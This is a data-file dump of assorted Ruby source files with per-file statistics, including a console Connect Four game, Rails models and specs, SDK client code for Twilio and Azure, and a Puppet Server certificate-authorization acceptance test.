hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
f7ab2f338729668d1ad10607251df960e38a9c8b
2,732
require_relative 'scraper.rb' module Connect4Strategy class Game attr_reader :current_turn, :board, :game_over def initialize print "\n Welcome to Connect Four! Player 1 will be X and Player 2 is O!\n\n" @current_turn = 'X' @board = [ %w[_ _ _ _ _ _ _], %w[_ _ _ _ _ _ _], %w[_ _ _ _ _ _ _], %w[_ _ _ _ _ _ _], %w[_ _ _ _ _ _ _], %w[_ _ _ _ _ _ _], %w[1 2 3 4 5 6 7] ] @game_over = false show_board play end def change_turn @current_turn = @current_turn == 'X' ? 'O' : 'X' end def play until @game_over place_piece check_for_winner change_turn show_board end end def place_piece puts "\npick a column from 1-7 to drop your piece #{current_turn}.\nEach column gives a unique tip!" column = gets.chomp.to_i check_move?(column) end def show_board @board.each do |row| puts ' ' + row.join(' ') end end def check_move?(move) if move.between?(1, 7) && @board[0][move - 1] == '_' true index = 6 while @board[index][move - 1] != '_' index -= 1 end @board[index][move - 1] = @current_turn else puts 'Invalid move, try again' !change_turn end end def check_for_winner (0..5).each do |x| (0..6).each do |y| # horizontal if @board[x][y] == @current_turn && @board[x][y + 1] == @current_turn && @board[x][y + 2] == @current_turn && @board[x][y + 3] == @current_turn puts "#{current_turn} wins!" @game_over = true end # vertical if @board[x][y] == @current_turn && @board[x + 1][y] == @current_turn && @board[x + 2][y] == @current_turn && @board[x + 3][y] == @current_turn puts "#{current_turn} wins!" @game_over = true end # diagonal left if @board[x][y] == @current_turn && @board[x + 1][y - 1] == @current_turn && @board[x + 2][y - 2] == @current_turn && @board[x + 3][y - 3] == @current_turn puts "#{current_turn} wins!" @game_over = true end # diagonal right if @board[x][y] == @current_turn && @board[x + 1][y + 1] == @current_turn && @board[x + 2][y + 2] == @current_turn && @board[x + 3][y + 3] == @current_turn puts "#{current_turn} wins!" @game_over = true end end end end end end
26.784314
106
0.468521
210ce9e852689a15c8726136614cbab01450b0f7
513
require 'dotenv' Dotenv.load require 'open-uri' require 'mimemagic' require 'faraday' require 'pipeline_deals' require 'hubspot-ruby' require_relative 'hubspot_file_migration/deals' require_relative 'hubspot_file_migration/engagement' require_relative 'hubspot_file_migration/file' require_relative 'hubspot_file_migration/documents' PipelineDeals.configure do |config| config.api_key = ENV['PIPELINE_DEALS_API_KEY'] end Hubspot.configure({hapikey: ENV['HUBSPOT_API_KEY']}) module HubspotFileMigration end
22.304348
52
0.832359
ed62b5beb02cacc579aa7fa2433bc0f1a97e28e4
249
# frozen_string_literal: true class Tag < ApplicationRecord has_and_belongs_to_many :links scope :publicly_visible, -> { joins(:links).where('links.published_at IS NOT NULL').distinct } scope :used, -> { joins(:links).distinct } end
24.9
77
0.714859
28a060fb8153a302c24c5f775e3f0a98a156d9d6
439
cask "font-sitara" do version :latest sha256 :no_check # github.com/google/fonts/ was verified as official when first introduced to the cask url "https://github.com/google/fonts/trunk/ofl/sitara", using: :svn, trust_cert: true name "Sitara" homepage "https://fonts.google.com/specimen/Sitara" font "Sitara-Bold.ttf" font "Sitara-BoldItalic.ttf" font "Sitara-Italic.ttf" font "Sitara-Regular.ttf" end
25.823529
87
0.703872
1ad087df986a9f088fdb17fbee89995311e0d8c7
1,139
# frozen_string_literal: true # WARNING ABOUT GENERATED CODE # # This file is generated. See the contributing guide for more information: # https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md # # WARNING ABOUT GENERATED CODE Gem::Specification.new do |spec| spec.name = 'aws-sdk-mq' spec.version = File.read(File.expand_path('../VERSION', __FILE__)).strip spec.summary = 'AWS SDK for Ruby - AmazonMQ' spec.description = 'Official AWS Ruby gem for AmazonMQ. This gem is part of the AWS SDK for Ruby.' spec.author = 'Amazon Web Services' spec.homepage = 'https://github.com/aws/aws-sdk-ruby' spec.license = 'Apache-2.0' spec.email = ['[email protected]'] spec.require_paths = ['lib'] spec.files = Dir['lib/**/*.rb'] spec.metadata = { 'source_code_uri' => 'https://github.com/aws/aws-sdk-ruby/tree/master/gems/aws-sdk-mq', 'changelog_uri' => 'https://github.com/aws/aws-sdk-ruby/tree/master/gems/aws-sdk-mq/CHANGELOG.md' } spec.add_dependency('aws-sdk-core', '~> 3', '>= 3.99.0') spec.add_dependency('aws-sigv4', '~> 1.1') end
35.59375
103
0.657594
f8325fe5e5bef5311c2b1c198922eac47f067553
447
require 'cgi' module Koyori class Excerpt def initialize(text) @text = text end def format buffer = "<div class='excerpt'>\n" @text.each_line do |line| line.chomp! if line.sub!(/\A\s+/, '') buffer << Regexp.last_match[0].gsub(/ /, '&nbsp;') end buffer << CGI.escapeHTML(line) buffer << "<br />\n" end buffer << '</div>' buffer end end end
18.625
60
0.503356
1a28dff2ce285f2ae259e2eed3fc5875a93b267e
383
require 'rails_helper' describe V1::QuickpostMessagesController do describe 'DELETE /quickpost_messages/:id', version: 1 do it_behaves_like 'a destroyable and permissible model' do let(:record) { create(:quickpost_message) } let(:record_url) { "/v1/quickpost_messages/#{record.id}" } let(:record_permission) { 'quickpost_message.destroy' } end end end
31.916667
64
0.720627
f794a086fcdd8a8b474966dbf5a43f395f1d459d
4,293
test_name "(SERVER-1268)/(TK-293) TK-AUTH uses certificate extensions for authentication" do confine :except, :platform => 'windows' server = master.puppet['certname'] ssldir = master.puppet['ssldir'] confdir = master.puppet['confdir'] teardown do # restore the original tk auth.conf file on master, 'cp /etc/puppetlabs/puppetserver/conf.d/auth.bak /etc/puppetlabs/puppetserver/conf.d/auth.conf' # re-enable puppetdb facts terminus on master, puppet('config set route_file /etc/puppetlabs/puppet/routes.yaml') end step "Backup the tk auth.conf file" do on master, 'cp /etc/puppetlabs/puppetserver/conf.d/auth.conf /etc/puppetlabs/puppetserver/conf.d/auth.bak' end # Do we have a functioning cert? step "Confirm agent can connect with existing cert" do agents.each do |a| if (not_controller(a)) rc = on(a, puppet("agent --test --server #{server} --detailed-exitcodes"), {:acceptable_exit_codes => [0,2]}) end end end step "Disconnect the facts terminus from PuppetDB while we're munging certs" do on master, puppet('config set route_file /tmp/nonexistant.yaml') end # Not anymore we don't step "Revoke and destroy the existing cert on the server" do agents.each do |a| if (not_controller(a)) rc = on(master, "puppetserver ca clean --certname=#{a.hostname}", {:acceptable_exit_codes => [0,2]}) end end end step "Reload the server" do reload_server end # After a server HUP, the agent cert should be rejected step "Confirm agent can't connect with existing cert" do agents.each do |a| if (not_controller(a)) rc = on(a, puppet("agent --test --server #{server} --detailed-exitcodes"), {:acceptable_exit_codes => [1]}) end end end step "Remove the old certs on the agents so they'll make new ones" do agents.each do |a| if (not_controller(a)) rc = on(a, "find #{confdir} -name #{a.hostname}.pem -delete", {:acceptable_exit_codes => [0,1]}) end end end # Lay down an attributes file for puppet to read when creating # a new cert # TODO: Make this a here doc with extensions that exist as vars so that they # can be passed into our tk auth.conf rule generator. step "Copy the CSR attributes file into place" do agents.each do |a| if (not_controller(a)) rc = scp_to(a, 'acceptance/suites/tests/authorization/fixtures/csr_attributes.yaml', "#{confdir}", {:acceptable_exit_codes => [0]}) end end end step "Generate a new cert with a cert extension" do agents.each do |a| if (not_controller(a)) rc = on(a, puppet("agent --test --server #{server} --detailed-exitcodes"), {:acceptable_exit_codes => [1]}) end end end step "Sign the certs" do rc = on(master, 'puppetserver ca sign --all', {:accept_all_exit_codes => true}) end # tk_auth file that allows catalogs based on extensions rather than node names. # This will create a weakness in that if the DEFAULT tk_auth.conf file is # modified in the future, # we may need to modify our test tk_auth.conf file. # FIXME / TODO: create helper methods so that we can modify the tk auth.conf # file in place (and therefore test more use cases.) step "Lay down a test tk-auth.conf file" do scp_to( master, 'acceptance/suites/tests/authorization/fixtures/extensions_test_auth.conf', '/etc/puppetlabs/puppetserver/conf.d/auth.conf', :acceptable_exit_codes => 0 ) end step "Reload the server" do reload_server end # Confirm agents can connect with new cert step "Confirm agent can connect with the new cert" do agents.each do |a| if (not_controller(a)) rc = on(a, puppet("agent --test --server #{server} --detailed-exitcodes"), {:acceptable_exit_codes => [0,2]}) end # Can we poke an HTTP API endpoint? cert = get_cert(a) key = get_key(a) rc = https_request("https://#{server}:8140/puppet/v3/catalog/#{a.hostname}?environment=production", :get, cert, key) if (rc.code != '200') fail_test "Unexpected HTTP status code: #{rc.code}" end end end end
29.8125
108
0.652457
b979ce5f0fb78496e502f55cc230a0128f9bbbe9
1,109
=begin #Selling Partner API for Merchant Fulfillment #The Selling Partner API for Merchant Fulfillment helps you build applications that let sellers purchase shipping for non-Prime and Prime orders using Amazon’s Buy Shipping Services. OpenAPI spec version: v0 Generated by: https://github.com/swagger-api/swagger-codegen.git Swagger Codegen version: 3.0.26 =end require 'spec_helper' require 'json' require 'date' # Unit tests for AmzSpApi::MerchantFulfillmentApiModel::PredefinedPackageDimensions # Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen) # Please update as you see appropriate describe 'PredefinedPackageDimensions' do before do # run before each test @instance = AmzSpApi::MerchantFulfillmentApiModel::PredefinedPackageDimensions.new end after do # run after each test end describe 'test an instance of PredefinedPackageDimensions' do it 'should create an instance of PredefinedPackageDimensions' do expect(@instance).to be_instance_of(AmzSpApi::MerchantFulfillmentApiModel::PredefinedPackageDimensions) end end end
31.685714
182
0.798918
d5b9546c37a5e8fff1c57ca690ecffa0cbfdd479
857
# === COPYRIGHT: # Copyright (c) Jason Adam Young # === LICENSE: # see LICENSE file class TeamsController < ApplicationController def index @standings = Standings.new(@season) @team_display = {} ['American','National'].each do |league| @team_display[league] = {} ['East','West'].each do |division| @team_display[league][division] = @standings.by_division(league,division) end end end def show @team = Team.find_by!(id: params[:id]) if(@season == 'all') return render('showall') end end def playingtime if(params[:id]) @team = Team.find_by!(id: params[:id]) @gamescount = @team.records.for_season(@season).first.gamescount else @teams = Team.order(:name) return render('fullplayingtime') end end def wingraphs end def gbgraphs end end
19.930233
81
0.624271
032633d5f61f68d7f660afb36b7ecef15d7cb139
811
name "S3" description "AWS S3" version "0.1" maintainer "OneOps" maintainer_email "[email protected]" license "Apache License, Version 2.0" grouping 'default', :access => "global", :packages => [ 'base', 'mgmt.cloud.service', 'cloud.service' ], :namespace => true attribute 'key', :description => "Access Key", :required => "required", :default => "", :format => { :help => 'Access key from the AWS security credentials page', :category => '1.Credentials', :order => 1 } attribute 'secret', :description => "Secret Key", :encrypted => true, :required => "required", :default => "", :format => { :help => 'Secret key from the AWS security credentials page', :category => '1.Credentials', :order => 2 }
22.527778
66
0.579531
2845d574d1c931003684936903590e4048fe12ec
28,909
## # This code was generated by # \ / _ _ _| _ _ # | (_)\/(_)(_|\/| |(/_ v1.0.0 # / / # # frozen_string_literal: true module Twilio module REST class Api < Domain class V2010 < Version class AccountContext < InstanceContext class ApplicationList < ListResource ## # Initialize the ApplicationList # @param [Version] version Version that contains the resource # @param [String] account_sid The SID of the # [Account](https://www.twilio.com/docs/api/rest/account) that created the # Application resource. # @return [ApplicationList] ApplicationList def initialize(version, account_sid: nil) super(version) # Path Solution @solution = {account_sid: account_sid} @uri = "/Accounts/#{@solution[:account_sid]}/Applications.json" end ## # Retrieve a single page of ApplicationInstance records from the API. # Request is executed immediately. # @param [String] api_version The API version to use to start a new TwiML session. # Can be: `2010-04-01` or `2008-08-01`. The default value is the account's default # API version. # @param [String] voice_url The URL we should call when the phone number assigned # to this application receives a call. # @param [String] voice_method The HTTP method we should use to call `voice_url`. # Can be: `GET` or `POST`. # @param [String] voice_fallback_url The URL that we should call when an error # occurs retrieving or executing the TwiML requested by `url`. # @param [String] voice_fallback_method The HTTP method we should use to call # `voice_fallback_url`. Can be: `GET` or `POST`. # @param [String] status_callback The URL we should call using the # `status_callback_method` to send status information to your application. # @param [String] status_callback_method The HTTP method we should use to call # `status_callback`. Can be: `GET` or `POST`. # @param [Boolean] voice_caller_id_lookup Whether we should look up the caller's # caller-ID name from the CNAM database (additional charges apply). Can be: `true` # or `false`. # @param [String] sms_url The URL we should call when the phone number receives an # incoming SMS message. # @param [String] sms_method The HTTP method we should use to call `sms_url`. Can # be: `GET` or `POST`. # @param [String] sms_fallback_url The URL that we should call when an error # occurs while retrieving or executing the TwiML from `sms_url`. # @param [String] sms_fallback_method The HTTP method we should use to call # `sms_fallback_url`. Can be: `GET` or `POST`. # @param [String] sms_status_callback The URL we should call using a POST method # to send status information about SMS messages sent by the application. # @param [String] message_status_callback The URL we should call using a POST # method to send message status information to your application. # @param [String] friendly_name A descriptive string that you create to describe # the new application. It can be up to 64 characters long. # @return [ApplicationInstance] Newly created ApplicationInstance def create(api_version: :unset, voice_url: :unset, voice_method: :unset, voice_fallback_url: :unset, voice_fallback_method: :unset, status_callback: :unset, status_callback_method: :unset, voice_caller_id_lookup: :unset, sms_url: :unset, sms_method: :unset, sms_fallback_url: :unset, sms_fallback_method: :unset, sms_status_callback: :unset, message_status_callback: :unset, friendly_name: :unset) data = Twilio::Values.of({ 'ApiVersion' => api_version, 'VoiceUrl' => voice_url, 'VoiceMethod' => voice_method, 'VoiceFallbackUrl' => voice_fallback_url, 'VoiceFallbackMethod' => voice_fallback_method, 'StatusCallback' => status_callback, 'StatusCallbackMethod' => status_callback_method, 'VoiceCallerIdLookup' => voice_caller_id_lookup, 'SmsUrl' => sms_url, 'SmsMethod' => sms_method, 'SmsFallbackUrl' => sms_fallback_url, 'SmsFallbackMethod' => sms_fallback_method, 'SmsStatusCallback' => sms_status_callback, 'MessageStatusCallback' => message_status_callback, 'FriendlyName' => friendly_name, }) payload = @version.create( 'POST', @uri, data: data ) ApplicationInstance.new(@version, payload, account_sid: @solution[:account_sid], ) end ## # Lists ApplicationInstance records from the API as a list. # Unlike stream(), this operation is eager and will load `limit` records into # memory before returning. # @param [String] friendly_name The string that identifies the Application # resources to read. # @param [Integer] limit Upper limit for the number of records to return. stream() # guarantees to never return more than limit. Default is no limit # @param [Integer] page_size Number of records to fetch per request, when # not set will use the default value of 50 records. If no page_size is defined # but a limit is defined, stream() will attempt to read the limit with the most # efficient page size, i.e. min(limit, 1000) # @return [Array] Array of up to limit results def list(friendly_name: :unset, limit: nil, page_size: nil) self.stream(friendly_name: friendly_name, limit: limit, page_size: page_size).entries end ## # Streams ApplicationInstance records from the API as an Enumerable. # This operation lazily loads records as efficiently as possible until the limit # is reached. # @param [String] friendly_name The string that identifies the Application # resources to read. # @param [Integer] limit Upper limit for the number of records to return. stream() # guarantees to never return more than limit. Default is no limit. # @param [Integer] page_size Number of records to fetch per request, when # not set will use the default value of 50 records. If no page_size is defined # but a limit is defined, stream() will attempt to read the limit with the most # efficient page size, i.e. min(limit, 1000) # @return [Enumerable] Enumerable that will yield up to limit results def stream(friendly_name: :unset, limit: nil, page_size: nil) limits = @version.read_limits(limit, page_size) page = self.page(friendly_name: friendly_name, page_size: limits[:page_size], ) @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit]) end ## # When passed a block, yields ApplicationInstance records from the API. # This operation lazily loads records as efficiently as possible until the limit # is reached. def each limits = @version.read_limits page = self.page(page_size: limits[:page_size], ) @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit]).each {|x| yield x} end ## # Retrieve a single page of ApplicationInstance records from the API. # Request is executed immediately. # @param [String] friendly_name The string that identifies the Application # resources to read. # @param [String] page_token PageToken provided by the API # @param [Integer] page_number Page Number, this value is simply for client state # @param [Integer] page_size Number of records to return, defaults to 50 # @return [Page] Page of ApplicationInstance def page(friendly_name: :unset, page_token: :unset, page_number: :unset, page_size: :unset) params = Twilio::Values.of({ 'FriendlyName' => friendly_name, 'PageToken' => page_token, 'Page' => page_number, 'PageSize' => page_size, }) response = @version.page( 'GET', @uri, params ) ApplicationPage.new(@version, response, @solution) end ## # Retrieve a single page of ApplicationInstance records from the API. # Request is executed immediately. # @param [String] target_url API-generated URL for the requested results page # @return [Page] Page of ApplicationInstance def get_page(target_url) response = @version.domain.request( 'GET', target_url ) ApplicationPage.new(@version, response, @solution) end ## # Provide a user friendly representation def to_s '#<Twilio.Api.V2010.ApplicationList>' end end class ApplicationPage < Page ## # Initialize the ApplicationPage # @param [Version] version Version that contains the resource # @param [Response] response Response from the API # @param [Hash] solution Path solution for the resource # @return [ApplicationPage] ApplicationPage def initialize(version, response, solution) super(version, response) # Path Solution @solution = solution end ## # Build an instance of ApplicationInstance # @param [Hash] payload Payload response from the API # @return [ApplicationInstance] ApplicationInstance def get_instance(payload) ApplicationInstance.new(@version, payload, account_sid: @solution[:account_sid], ) end ## # Provide a user friendly representation def to_s '<Twilio.Api.V2010.ApplicationPage>' end end class ApplicationContext < InstanceContext ## # Initialize the ApplicationContext # @param [Version] version Version that contains the resource # @param [String] account_sid The SID of the # [Account](https://www.twilio.com/docs/api/rest/account) that created the # Application resource to fetch. # @param [String] sid The Twilio-provided string that uniquely identifies the # Application resource to fetch. # @return [ApplicationContext] ApplicationContext def initialize(version, account_sid, sid) super(version) # Path Solution @solution = {account_sid: account_sid, sid: sid, } @uri = "/Accounts/#{@solution[:account_sid]}/Applications/#{@solution[:sid]}.json" end ## # Deletes the ApplicationInstance # @return [Boolean] true if delete succeeds, true otherwise def delete @version.delete('delete', @uri) end ## # Fetch a ApplicationInstance # @return [ApplicationInstance] Fetched ApplicationInstance def fetch params = Twilio::Values.of({}) payload = @version.fetch( 'GET', @uri, params, ) ApplicationInstance.new( @version, payload, account_sid: @solution[:account_sid], sid: @solution[:sid], ) end ## # Update the ApplicationInstance # @param [String] friendly_name A descriptive string that you create to describe # the resource. It can be up to 64 characters long. # @param [String] api_version The API version to use to start a new TwiML session. # Can be: `2010-04-01` or `2008-08-01`. The default value is your account's # default API version. # @param [String] voice_url The URL we should call when the phone number assigned # to this application receives a call. # @param [String] voice_method The HTTP method we should use to call `voice_url`. # Can be: `GET` or `POST`. # @param [String] voice_fallback_url The URL that we should call when an error # occurs retrieving or executing the TwiML requested by `url`. # @param [String] voice_fallback_method The HTTP method we should use to call # `voice_fallback_url`. Can be: `GET` or `POST`. # @param [String] status_callback The URL we should call using the # `status_callback_method` to send status information to your application. # @param [String] status_callback_method The HTTP method we should use to call # `status_callback`. Can be: `GET` or `POST`. # @param [Boolean] voice_caller_id_lookup Whether we should look up the caller's # caller-ID name from the CNAM database (additional charges apply). Can be: `true` # or `false`. # @param [String] sms_url The URL we should call when the phone number receives an # incoming SMS message. # @param [String] sms_method The HTTP method we should use to call `sms_url`. Can # be: `GET` or `POST`. # @param [String] sms_fallback_url The URL that we should call when an error # occurs while retrieving or executing the TwiML from `sms_url`. # @param [String] sms_fallback_method The HTTP method we should use to call # `sms_fallback_url`. Can be: `GET` or `POST`. # @param [String] sms_status_callback The URL we should call using a POST method # to send status information about SMS messages sent by the application. # @param [String] message_status_callback The URL we should call using a POST # method to send message status information to your application. # @return [ApplicationInstance] Updated ApplicationInstance def update(friendly_name: :unset, api_version: :unset, voice_url: :unset, voice_method: :unset, voice_fallback_url: :unset, voice_fallback_method: :unset, status_callback: :unset, status_callback_method: :unset, voice_caller_id_lookup: :unset, sms_url: :unset, sms_method: :unset, sms_fallback_url: :unset, sms_fallback_method: :unset, sms_status_callback: :unset, message_status_callback: :unset) data = Twilio::Values.of({ 'FriendlyName' => friendly_name, 'ApiVersion' => api_version, 'VoiceUrl' => voice_url, 'VoiceMethod' => voice_method, 'VoiceFallbackUrl' => voice_fallback_url, 'VoiceFallbackMethod' => voice_fallback_method, 'StatusCallback' => status_callback, 'StatusCallbackMethod' => status_callback_method, 'VoiceCallerIdLookup' => voice_caller_id_lookup, 'SmsUrl' => sms_url, 'SmsMethod' => sms_method, 'SmsFallbackUrl' => sms_fallback_url, 'SmsFallbackMethod' => sms_fallback_method, 'SmsStatusCallback' => sms_status_callback, 'MessageStatusCallback' => message_status_callback, }) payload = @version.update( 'POST', @uri, data: data, ) ApplicationInstance.new( @version, payload, account_sid: @solution[:account_sid], sid: @solution[:sid], ) end ## # Provide a user friendly representation def to_s context = @solution.map {|k, v| "#{k}: #{v}"}.join(',') "#<Twilio.Api.V2010.ApplicationContext #{context}>" end ## # Provide a detailed, user friendly representation def inspect context = @solution.map {|k, v| "#{k}: #{v}"}.join(',') "#<Twilio.Api.V2010.ApplicationContext #{context}>" end end class ApplicationInstance < InstanceResource ## # Initialize the ApplicationInstance # @param [Version] version Version that contains the resource # @param [Hash] payload payload that contains response from Twilio # @param [String] account_sid The SID of the # [Account](https://www.twilio.com/docs/api/rest/account) that created the # Application resource. # @param [String] sid The Twilio-provided string that uniquely identifies the # Application resource to fetch. # @return [ApplicationInstance] ApplicationInstance def initialize(version, payload, account_sid: nil, sid: nil) super(version) # Marshaled Properties @properties = { 'account_sid' => payload['account_sid'], 'api_version' => payload['api_version'], 'date_created' => Twilio.deserialize_rfc2822(payload['date_created']), 'date_updated' => Twilio.deserialize_rfc2822(payload['date_updated']), 'friendly_name' => payload['friendly_name'], 'message_status_callback' => payload['message_status_callback'], 'sid' => payload['sid'], 'sms_fallback_method' => payload['sms_fallback_method'], 'sms_fallback_url' => payload['sms_fallback_url'], 'sms_method' => payload['sms_method'], 'sms_status_callback' => payload['sms_status_callback'], 'sms_url' => payload['sms_url'], 'status_callback' => payload['status_callback'], 'status_callback_method' => payload['status_callback_method'], 'uri' => payload['uri'], 'voice_caller_id_lookup' => payload['voice_caller_id_lookup'], 'voice_fallback_method' => payload['voice_fallback_method'], 'voice_fallback_url' => payload['voice_fallback_url'], 'voice_method' => payload['voice_method'], 'voice_url' => payload['voice_url'], } # Context @instance_context = nil @params = {'account_sid' => account_sid, 'sid' => sid || @properties['sid'], } end ## # Generate an instance context for the instance, the context is capable of # performing various actions. All instance actions are proxied to the context # @return [ApplicationContext] ApplicationContext for this ApplicationInstance def context unless @instance_context @instance_context = ApplicationContext.new(@version, @params['account_sid'], @params['sid'], ) end @instance_context end ## # @return [String] The SID of the Account that created the resource def account_sid @properties['account_sid'] end ## # @return [String] The API version used to start a new TwiML session def api_version @properties['api_version'] end ## # @return [Time] The RFC 2822 date and time in GMT that the resource was created def date_created @properties['date_created'] end ## # @return [Time] The RFC 2822 date and time in GMT that the resource was last updated def date_updated @properties['date_updated'] end ## # @return [String] The string that you assigned to describe the resource def friendly_name @properties['friendly_name'] end ## # @return [String] The URL to send message status information to your application def message_status_callback @properties['message_status_callback'] end ## # @return [String] The unique string that identifies the resource def sid @properties['sid'] end ## # @return [String] The HTTP method used with sms_fallback_url def sms_fallback_method @properties['sms_fallback_method'] end ## # @return [String] The URL that we call when an error occurs while retrieving or executing the TwiML def sms_fallback_url @properties['sms_fallback_url'] end ## # @return [String] The HTTP method to use with sms_url def sms_method @properties['sms_method'] end ## # @return [String] The URL to send status information to your application def sms_status_callback @properties['sms_status_callback'] end ## # @return [String] The URL we call when the phone number receives an incoming SMS message def sms_url @properties['sms_url'] end ## # @return [String] The URL to send status information to your application def status_callback @properties['status_callback'] end ## # @return [String] The HTTP method we use to call status_callback def status_callback_method @properties['status_callback_method'] end ## # @return [String] The URI of the resource, relative to `https://api.twilio.com` def uri @properties['uri'] end ## # @return [Boolean] Whether to lookup the caller's name def voice_caller_id_lookup @properties['voice_caller_id_lookup'] end ## # @return [String] The HTTP method used with voice_fallback_url def voice_fallback_method @properties['voice_fallback_method'] end ## # @return [String] The URL we call when a TwiML error occurs def voice_fallback_url @properties['voice_fallback_url'] end ## # @return [String] The HTTP method used with the voice_url def voice_method @properties['voice_method'] end ## # @return [String] The URL we call when the phone number receives a call def voice_url @properties['voice_url'] end ## # Deletes the ApplicationInstance # @return [Boolean] true if delete succeeds, true otherwise def delete context.delete end ## # Fetch a ApplicationInstance # @return [ApplicationInstance] Fetched ApplicationInstance def fetch context.fetch end ## # Update the ApplicationInstance # @param [String] friendly_name A descriptive string that you create to describe # the resource. It can be up to 64 characters long. # @param [String] api_version The API version to use to start a new TwiML session. # Can be: `2010-04-01` or `2008-08-01`. The default value is your account's # default API version. # @param [String] voice_url The URL we should call when the phone number assigned # to this application receives a call. # @param [String] voice_method The HTTP method we should use to call `voice_url`. # Can be: `GET` or `POST`. # @param [String] voice_fallback_url The URL that we should call when an error # occurs retrieving or executing the TwiML requested by `url`. # @param [String] voice_fallback_method The HTTP method we should use to call # `voice_fallback_url`. Can be: `GET` or `POST`. # @param [String] status_callback The URL we should call using the # `status_callback_method` to send status information to your application. # @param [String] status_callback_method The HTTP method we should use to call # `status_callback`. Can be: `GET` or `POST`. # @param [Boolean] voice_caller_id_lookup Whether we should look up the caller's # caller-ID name from the CNAM database (additional charges apply). Can be: `true` # or `false`. # @param [String] sms_url The URL we should call when the phone number receives an # incoming SMS message. # @param [String] sms_method The HTTP method we should use to call `sms_url`. Can # be: `GET` or `POST`. # @param [String] sms_fallback_url The URL that we should call when an error # occurs while retrieving or executing the TwiML from `sms_url`. # @param [String] sms_fallback_method The HTTP method we should use to call # `sms_fallback_url`. Can be: `GET` or `POST`. # @param [String] sms_status_callback The URL we should call using a POST method # to send status information about SMS messages sent by the application. # @param [String] message_status_callback The URL we should call using a POST # method to send message status information to your application. # @return [ApplicationInstance] Updated ApplicationInstance def update(friendly_name: :unset, api_version: :unset, voice_url: :unset, voice_method: :unset, voice_fallback_url: :unset, voice_fallback_method: :unset, status_callback: :unset, status_callback_method: :unset, voice_caller_id_lookup: :unset, sms_url: :unset, sms_method: :unset, sms_fallback_url: :unset, sms_fallback_method: :unset, sms_status_callback: :unset, message_status_callback: :unset) context.update( friendly_name: friendly_name, api_version: api_version, voice_url: voice_url, voice_method: voice_method, voice_fallback_url: voice_fallback_url, voice_fallback_method: voice_fallback_method, status_callback: status_callback, status_callback_method: status_callback_method, voice_caller_id_lookup: voice_caller_id_lookup, sms_url: sms_url, sms_method: sms_method, sms_fallback_url: sms_fallback_url, sms_fallback_method: sms_fallback_method, sms_status_callback: sms_status_callback, message_status_callback: message_status_callback, ) end ## # Provide a user friendly representation def to_s values = @params.map{|k, v| "#{k}: #{v}"}.join(" ") "<Twilio.Api.V2010.ApplicationInstance #{values}>" end ## # Provide a detailed, user friendly representation def inspect values = @properties.map{|k, v| "#{k}: #{v}"}.join(" ") "<Twilio.Api.V2010.ApplicationInstance #{values}>" end end end end end end end
47.547697
409
0.571933
1c87b26defdc1748756a79d9a3bf9325d019cd12
2,773
# Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::IotHub::Mgmt::V2017_07_01 module Models # # The JSON-serialized array of JobResponse objects with a next link. # class JobResponseListResult include MsRestAzure include MsRest::JSONable # @return [Array<JobResponse>] The array of JobResponse objects. attr_accessor :value # @return [String] The next link. attr_accessor :next_link # return [Proc] with next page method call. attr_accessor :next_method # # Gets the rest of the items for the request, enabling auto-pagination. # # @return [Array<JobResponse>] operation results. # def get_all_items items = @value page = self while page.next_link != nil && !page.next_link.strip.empty? do page = page.get_next_page items.concat(page.value) end items end # # Gets the next page of results. # # @return [JobResponseListResult] with next page content. # def get_next_page response = @next_method.call(@next_link).value! unless @next_method.nil? unless response.nil? @next_link = response.body.next_link @value = response.body.value self end end # # Mapper for JobResponseListResult class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'JobResponseListResult', type: { name: 'Composite', class_name: 'JobResponseListResult', model_properties: { value: { client_side_validation: true, required: false, serialized_name: 'value', type: { name: 'Sequence', element: { client_side_validation: true, required: false, serialized_name: 'JobResponseElementType', type: { name: 'Composite', class_name: 'JobResponse' } } } }, next_link: { client_side_validation: true, required: false, read_only: true, serialized_name: 'nextLink', type: { name: 'String' } } } } } end end end end
28.010101
80
0.521818
abb726f783a68e723341f9bbbe0014b5348dcc93
828
# frozen_string_literal: true # == Schema Information # # Table name: alerts # # id :integer not null, primary key # course_id :integer # user_id :integer # article_id :integer # revision_id :integer # type :string(255) # email_sent_at :datetime # created_at :datetime not null # updated_at :datetime not null # message :text(65535) # target_user_id :integer # subject_id :integer # resolved :boolean default(FALSE) # details :text(65535) # # Alert for when an article has been nominated for DYK on English Wikipedia class DiscretionarySanctionsEditAlert < Alert def main_subject "#{article.title} — #{course&.slug}" end def url article.url end def resolvable? !resolved end end
23
75
0.624396
62e042efba03cda06d8743260f328d4f0e12b6a0
1,108
# # Copyright 2011 Red Hat, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # class ChangeCloudaccountValueToProvideraccountInPrivilegesAndRoles < ActiveRecord::Migration def self.up execute "UPDATE privileges SET target_type='ProviderAccount' WHERE target_type='CloudAccount';" execute "UPDATE roles SET scope='ProviderAccount' WHERE scope='CloudAccount';" end def self.down execute "UPDATE privileges SET target_type='CloudAccount' WHERE target_type='ProviderAccount';" execute "UPDATE roles SET scope='CloudAccount' WHERE scope='ProviderAccount';" end end
39.571429
99
0.75722
91eb1a242c7e1b8ae75c0cedc0e6606ac2d30cec
1,576
